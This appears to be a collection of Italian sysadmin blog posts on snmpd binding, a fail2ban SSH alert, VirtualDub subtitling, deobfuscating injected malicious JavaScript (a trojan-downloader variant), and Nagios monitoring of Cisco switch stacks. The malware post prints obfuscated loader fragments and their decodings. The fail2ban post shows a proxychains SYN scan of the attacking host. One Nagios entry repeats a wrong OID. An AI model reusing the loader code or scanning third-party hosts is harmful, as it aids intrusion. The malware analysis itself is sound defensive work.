Il blog sull'informatica

Recentemente ho riscontrato diverse grane con il demone snmpd installato su una macchina CentoOS 5.

Durante le operazioni di troubleshooting ho deciso di mettere in ascolto il demone in questione su una specifica interfaccia, avendo a che fare con un host dual-homed. Per la precisione, tale host presentava due interfacce di rete più una loopback, ovvero:

eth0 IP 10.0.0.1

eth1 IP 192.168.2.1 utilizzata con finalità di heartbeat per il cluster

lo IP 127.0.0.1

Lanciando un netstat -ano | grep :161 ottenevo il seguente output:

udp        0      0 0.0.0.0:161                 0.0.0.0:*                               off (0.00/0/0)

Ciò significava che il demone stava in ascolto su tutte le interfacce. Ad ulteriore riprova di ciò lanciavo un snmpwalk -v2c -c publickey dapprima diretto verso l'IP dell'eth0, poi verso l'IP dell'eth1 ed infine verso l'IP della loopback. In tutti casi alla query era seguita una risposta.

Bene, decidevo quindi che l'snmpd doveva rimanere in ascolto solo sull'IP dell'eth0. Mi posizionavo dunque nella directory /etc/init.d ed accedevo al file snmpd mediante un editor di testo:

[nightfly@linuxbox ~]# cd /etc/init.d
[nightfly@linuxbox init.d]# nano snmpd

Nella fattispecie, la riga di mio interesse era la seguente:

OPTIONS="-LS4d -Lf /dev/null -p /var/run/snmpd.pid -a"

Che ho modificato nel seguente modo:

OPTIONS="-LS4d -Lf /dev/null -p /var/run/snmpd.pid 10.0.0.1 -a"

Successivamente, riavviavo il demone snmp mediante il comando:

[nightfly@linuxbox init.d]# service snmpd restart

e verificavo che fosse effettivamente attivo lanciando il comando:

[nightfly@linuxbox init.d]# service snmpd status

ottenendo come output:

snmpd (pid  2499) is running...

Tutto sembrava funzionare alla grande. Verificavo infine che il demone fosse in ascolto solo sull'indirizzo 10.0.0.1:

udp        0      10.0.0.1:161                 0.0.0.0:*                               off (0.00/0/0)

Con mio grande piacere constatavo che finalmente snmpd stava in ascolto su una sola interfaccia, eliminando il problema dei continui restart dello stesso.

A presto.

Allora, premesso che sui server che gestisco gli attacchi di tipo bruteforce sono all'ordine del giorno, oggi fail2ban ha cominciato ad imprecare in modo alquanto insistente.

Ma cosa ci sarà da strillare così tanto? Do un'occhiata ai file di log e mi accorgo che da ben 12 ore, un certo indirizzo IP sta provando a forzare il servizio SSH in ascolto sulle mie macchine.

Uhm, vediamo un po' cosa dice il mio amico fail2ban:  

Hi,           

The IP 174.132.*.* has just been banned by Fail2Ban after 6 attempts against ssh.                 
Here are more information about 174.132.*.*:           
#     
# Query terms are ambiguous.  The query is assumed to be:     
#     "n 174.132.*.*"     
#     
# Use "?" to get help.     
#           
#     
# The following results may also be obtained via:     
# http://whois.arin.net/rest/nets;q=174.132.*.*?showDetails=true&showARIN=false     
# NetRange:       174.132.0.0 - 174.133.255.255     
  CIDR:           174.132.0.0/15     
  OriginAS:       AS36420, AS30315, AS13749, AS21844     
  NetName:        NETBLK-THEPLANET-BLK-15     
  NetHandle:      NET-174-132-0-0-1     
  Parent:         NET-174-0-0-0-0     
  NetType:        Direct Allocation     
  RegDate:        2008-06-17     
  Updated:        2008-06-17     
  Ref:            http://whois.arin.net/rest/net/NET-174-132-0-0-1                 
  OrgName:        ThePlanet.com Internet Services, Inc.     
  OrgId:          TPCM     
  Address:        315 Capitol     
  Address:        Suite 205     
  City:           Houston     
  StateProv:      TX     
  PostalCode:     77002     
  Country:        US     
  RegDate:        1999-08-31     
  Updated:        2010-10-13     
  Ref:            http://whois.arin.net/rest/org/TPCM           
  ReferralServer: rwhois://rwhois.theplanet.com:4321           
  OrgNOCHandle: THEPL-ARIN     
  OrgNOCName:   The Planet NOC     
  OrgNOCPhone:  +1-281-822-4204      
  OrgNOCEmail:  noc@theplanet.com     
  OrgNOCRef:    http://whois.arin.net/rest/poc/THEPL-ARIN          
  OrgTechHandle: TECHN33-ARIN     
  OrgTechName:   Technical Support     
  OrgTechPhone:  +1-214-782-7800      
  OrgTechEmail:  admins@theplanet.com     
  OrgTechRef:    http://whois.arin.net/rest/poc/TECHN33-ARIN           
  OrgAbuseHandle: ABUSE271-ARIN     
  OrgAbuseName:   The Planet Abuse     
  OrgAbusePhone:  +1-281-714-3560      
  OrgAbuseEmail:  abuse@theplanet.com     
  OrgAbuseRef:    http://whois.arin.net/rest/poc/ABUSE271-ARIN           
  RTechHandle: TECHN33-ARIN     
  RTechName:   Technical Support     
  RTechPhone:  +1-214-782-7800      
  RTechEmail:  admins@theplanet.com     
  RTechRef:    http://whois.arin.net/rest/poc/TECHN33-ARIN           
  RAbuseHandle: ABUSE271-ARIN     
  RAbuseName:   The Planet Abuse     
  RAbusePhone:  +1-281-714-3560      
  RAbuseEmail:  abuse@theplanet.com     
  RAbuseRef:    http://whois.arin.net/rest/poc/ABUSE271-ARIN           
  RNOCHandle: THEPL-ARIN     
  RNOCName:   The Planet NOC     
  RNOCPhone:  +1-281-822-4204      
  RNOCEmail:  noc@theplanet.com     
  RNOCRef:    http://whois.arin.net/rest/poc/THEPL-ARIN           
#     
# ARIN WHOIS data and services are subject to the Terms of Use     
# available at: https://www.arin.net/whois_tou.html     
# Found a referral to rwhois.theplanet.com:4321.           
%rwhois V-1.5:003eff:00 whois.theplanet.com (by Network Solutions, Inc. V-1.5.9.5)     
Network:Class-Name:network     
network:ID:NETBLK-THEPLANET-BLK-15     
network:Auth-Area:174.132.0.0/15     
network:Network-Name:TPIS-BLK-174-132-*-0     
network:IP-Network:174.132.*.*/29     
network:IP-Network-Block:174.132.*.* - 174.132.*.*     
network:Organization-Name:Mike Dillard     
network:Organization-City:Austin    
network:Organization-State:TX     
network:Organization-Zip:78701     
network:Organization-Country:USA     
network:Description-Usage:customer     
network:Server-Pri:ns1.theplanet.com     
network:Server-Sec:ns2.theplanet.com     
network:Tech-Contact;I:abuse@theplanet.com     
network:Admin-Contact;I:abuse@theplanet.com     
network:Created:20090204     
network:Updated:20090216           
%ok           

Regards,           

Fail2Ban   

Ah che bello... finalmente un attacco che non proviene dal classico cinese smanettone. Ehm, però qui c'è qualcosa che non mi quadra (leggasi server farm), proviamo a fare un piccolo nmap su quell'indirizzo, va:

nightfly@nightbox:~$ sudo proxychains nmap -sS 174.132.*.*     
[sudo] password for nightfly:     
ProxyChains-3.1 (http://proxychains.sf.net)           

Starting Nmap 5.00 ( http://nmap.org ) at 2011-04-12 20:20 CEST     
Interesting ports on **.ae.**ae.static.theplanet.com (174.132.*.*):     
Not shown: 983 closed ports     

PORT     STATE SERVICE     
21/tcp   open  ftp     
22/tcp   open  ssh     
25/tcp   open  smtp     
53/tcp   open  domain     
80/tcp   open  http     
106/tcp  open  pop3pw     
110/tcp  open  pop3     
111/tcp  open  rpcbind     
143/tcp  open  imap     
443/tcp  open  https     
465/tcp  open  smtps     
993/tcp  open  imaps     
995/tcp  open  pop3s     
1040/tcp open  netsaint     
1311/tcp open  rxmon     
3306/tcp open  mysql     
8443/tcp open  https-alt 

Ecco, c'è solo qualche servizio in ascolto... e tra questi vi è anche il mitico Plesk! Chissà cosa accadrebbe se...

Vabbè ecco un'altra testa di ponte. Piccola mailina all'abuse e fine dei giochi.      

 

Bye.

Virtual Dub è sicuramente uno dei migliori programmi free dedicati al video editing. Tra le varie possibilità che ci mette a disposizione, vi è quella di aggiungere dei sottotitoli ad un filmato. Per fare ciò basta seguire la mini-guida che riporto di seguito.

Prima di iniziare scarichiamo tutto il necessario, ovvero:

1) Virtual Dub;

2) Subtitler, ovvero un plugin di Virtual Dub che ci permette di aggingere i sottotitoli al filmato;

3) Convert Srt to Ssa, un'utility che consente la conversione dei sottotitoli dal formato *.srt al formato *.ssa. Ciò è necessario poichè Subtitler supporta solo i sottotitoli nel formato *.ssa.

NB: Tutti i software indicati in precedenza sono gratuiti.

Scompattiamo Virtual Dub e successivamente salviamo il contenuto dell'archivio Subtitler.zip all'interno della directory plugins presente nella dir relativa a Virtual Dub.

Apriamo Virtual Dub, clicchiamo su File -> Open video file e selezioniamo il video che intendiamo sottotitolare.

A questo punto avviamo Convert Srt to Ssa (dopo averlo installato), selezioniamo i sottotitoli in formato *.srt che vogliamo convertire (mediante il pulsante Browse) e successivamente eseguiamo la conversione vera e propria cliccando su Covert.

Finalmente abbiamo i sottotitoli nel formato giusto. Torniamo su Virtual Dub, selezioniamo la voce Video presente nella toolbar e successivamente scegliamo Full processing mode.

Adesso possiamo aggiungere i sottotitoli al filmato, facendo click su Video -> Filters.. -> Add.

Scegliamo Subtitler, selezioniamo il file *.ssa ed infine clicchiamo sul pulsante OK.

Non ci resta che scegliere il tipo di compressione video. E' possibile fare ciò mediante Video - > Compression. Selezioniamo Xvid MPEG-4 Codec (assicuratevi di aver installato tale codec sulla vostra macchina) e confermiamo la nostra scelta con un click su OK.

Infine, selezioniamo dal menù File la voce Save as Avi... e dopo qualche minuto (a seconda delle capacità di calcolo del nostro PC) il video risulterà finalmente sottotitolato.

A presto.

Ecco la terza ed ultima parte dell'analisi relativa al codice JS malevolo iniettato sulla index di un sito che gestisco. Basandomi sulle osservazioni fatte in questo post, la prima cosa che mi è saltata in mente è stata quella di decodificare le variabili in percent encoding, tecnica utilizzata solitamente per le URL.

In particolare, le variabili che ho decodificato sono le seguenti:

var ca="%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%"

che decodificata diventa:

var ca="function dcs(ds,es){ds=unescape%"

var cd="%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";

che decodificata diventa:

t=st+String.fromCharCode((tmp.

var st="%73%74%3d%22$a%3ds%74;%64c%73(%64%61%2bd%62+%64c%2bd%64%2b%64e%2c1%30%29%3b%64w%28%73t%29%3bs%74%3d$%61%3b%22;";

che decodificata diventa:

st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";

var cz="%66u%6e%63t%69on %63z(c%7a)%7bre%74urn%20c%61+c%62+cc%2b%63d+c%65+c%7a%3b%7d%3b";

che decodificata diventa:

cz(cz){return ca+cb+cc+cd+ce+cz;};

var op="%24a%3d%22d%77(dc%73(c%75,14%29);%22;";

che decodificata diventa:

$a="dw(dcs(cu,14));";

var ce="cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";

che decodificata diventa:

charCodeAt(0)^('0x00'+es)));}}

var cb="28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";

che decodificata diventa:

28st=tmp='';for(i=0;i<ds.len";

var dz="%66%75nct%69o%6e dw%28%74)%7bca%3d%27%2564o%63%2575me%256e%74.%2577r%2569%74e(%252%32%27%3b%63%65%3d%27%2522%2529%27;cb%3d%27%253cs%2563ri%25%370%257%34 l%25%361%256%65%67ua%2567%2565%253%64%255c%2522%6a%2561%76as%2563r%69%25%370%2574%255%63%2522%253e%27;cc%3d%27%253c%255c%252fs%63rip%74%25%33e%27;wind%6fw[%22%65%22+%22%22+ %22v%22+%22al%22](une%73%63a%70%65(t%29)};";

che decodificata diventa:

dw(t){ca='%64oc%75me%6et.%77r%69te(%22';ce='%22%29';cb='%3cs%63ri%70%74 l%61%6egua%67%65%3d%5c%22j%61vas%63ri%70%74%5c%22%3e';cc='%3c%5c%2fscript%3e';window["e"+""+ "v"+"al"](unescape(t))};

Consideriamo ora la variabile cz:

cz(cz){return ca+cb+cc+cd+ce+cz;};

la quale diventa:

function cz(cz){

return "function dcs(ds,es) {

ds=unescape(ds);

st=tmp='';

for(i=0;i<ds.l%65ngth;i++) {

tmp=ds.slice(i,i+1);st=st+String.fromCharCode((tmp.charCodeAt(0)^('0x00'+es)));

}

}"+cz;

};

E' facile notare come la tecnica utilizzata per offuscare il codice sia sempre la stessa, ovvero l'uso di una logica di programmazione piuttosto contorta e l'abuso del percent encoding.

A questo punto, cercando un po' in rete ho visto che fondamentalmente si tratta di una variante del codice malevolo JS/Trojan-Downloader.JS.Twettir.a, il quale, appena la pagina infetta viene visualizzata, contatta il server search.twitter.com richiedendo la lista dei trending topic della settimana. Questa lista, in aggiunta alla data corrente, viene utilizzata per generare dei nomi di dominio pseudocasuali (già registrati dall'autore del malware e calcolati dallo stesso mediante la medesima tecnica), i quali verranno contattati in automatico per avviare il dowload del trojan direttamente sul PC dell'utente.

Inutile dire che tale codice è stato iniettato sfruttando una vulnerabilità dei server di Aruba. Spero che adesso siano stati finalmente patchati.

Il post termina qui, a presto.

Spesso mi è capitato di avere a che fare con degli switch Cisco Catalyst 3750 configurati in Stack. Grazie a questa configurazione, due o più switch vengono visti, a livello logico, come un unico commutatore. Ciò significa che a tutto lo stack può essere associato un unico indirizzo IP di management.

Ma dove sta l'inghippo? Semplice: nel caso in cui si utilizzino dei sistemi di monitoraggio della rete (ad esempio nagios), il semplice ping non è sufficiente ad indicare che tutti gli switch di uno stack funzionano correttamente. Infatti, se uno di essi si guastasse, lo stack continuerebbe ad esistere e quindi ad essere raggiungibile a livello IP.

Come fare dunque per montorare l'effettivo stato di ogni singolo switch che costituisce lo stack? La risposta è semplice: SNMP.

In particolare, gli OID da utilizzare sono reperibili su questo server FTP anonimo (la directory è /pub/mibs/oid) ed il file di riferimento è CISCO-STACKWISE-MIB.oid

Per la precisione, gli OID che indicano lo stato di funzionamento relativo alle stackport degli switch che costituiscono uno stack sono i seguenti:

1.3.6.1.4.1.9.9.500.1.2.2.1.1.5180 (per la prima porta del primo switch)

1.3.6.1.4.1.9.9.500.1.2.2.1.1.5181 (per la seconda porta del primo switch)

1.3.6.1.4.1.9.9.500.1.2.2.1.1.5183 (per la prima porta del secondo switch)

1.3.6.1.4.1.9.9.500.1.2.2.1.1.5184 (per la seconda porta del secondo switch)

1.3.6.1.4.1.9.9.500.1.2.2.1.1.5186 (per la prima porta del terzo switch)

1.3.6.1.4.1.9.9.500.1.2.2.1.1.5187 (per la seconda porta del terzo switch)

e così via.

Per verificare che gli OID sopra citati siano effettivamente supportati nell'ambito dello stack, potete utilizzare il comando snmpget (se avete a disposizione una linux box) oppure il tool Getif (nel caso in cui la vostra workstation sia una macchina Windows).

Configuriamo ora nagios. Per prima cosa definiamo il comando che ci permette di controllare lo stato dei vari switch:

nightfly@nightbox:~$ cd /etc/nagios-plugins/config

nightfly@nightbox:~$ sudo nano snmp.cfg

Inseriamo la seguente direttiva:

 'snmp_stack' command definition
define command {
command_name    snmp_stack
command_line    /usr/lib/nagios/plugins/check_snmp -H '$HOSTADDRESS$' -C '$ARG1$' -o '$ARG2$'
}

Ora che abbiamo definito il comando, aggiungiamo il servizio per il monitoraggio degli switch all'interno del file di configurazione che identifica lo stack:

nightfly@nightbox:~$ cd /etc/nagios3/conf.d

nightfly@nightbox:~$ sudo nano host-stack_nagios3.cfg

Inseriamo quanto segue:

define service {
use                             generic-service         ; Name of service template to use
host_name                       Stack
service_description             Status Switch 1 Stackport 1
check_command                  
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5181
}

define service {
use                             generic-service         ; Name of service template to use
host_name                       Stack
service_description             Status Switch 1 Stackport 2
check_command                  
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5181
}

define service {
use                             generic-service         ; Name of service template to use
host_name                       Stack
service_description             Status Switch 2 Stackport 1
check_command                  
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5183
}

define service {
use                             generic-service         ; Name of service template to use
host_name                       Stack
service_description             Status Switch 2 Stackport 2
check_command                  
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5184
}

define service {
use                             generic-service         ; Name of service template to use
host_name                       Stack
service_description             Status Switch 3 Stackport 1
check_command                  
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5186
}

define service {
use                             generic-service         ; Name of service template to use
host_name                       Stack
service_description             Status Switch 3 Stackport 2
check_command                  
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5187
}

Ovviamente sono partito dal presupposto che lo stack sia composto da 3 switch.

Salviamo il file e riavviamo nagios:

nightfly@nightbox:~$ sudo service nagios3 restart

e finalmente potremo monitorare l'effettivo stato degli switch di uno stack.

A presto.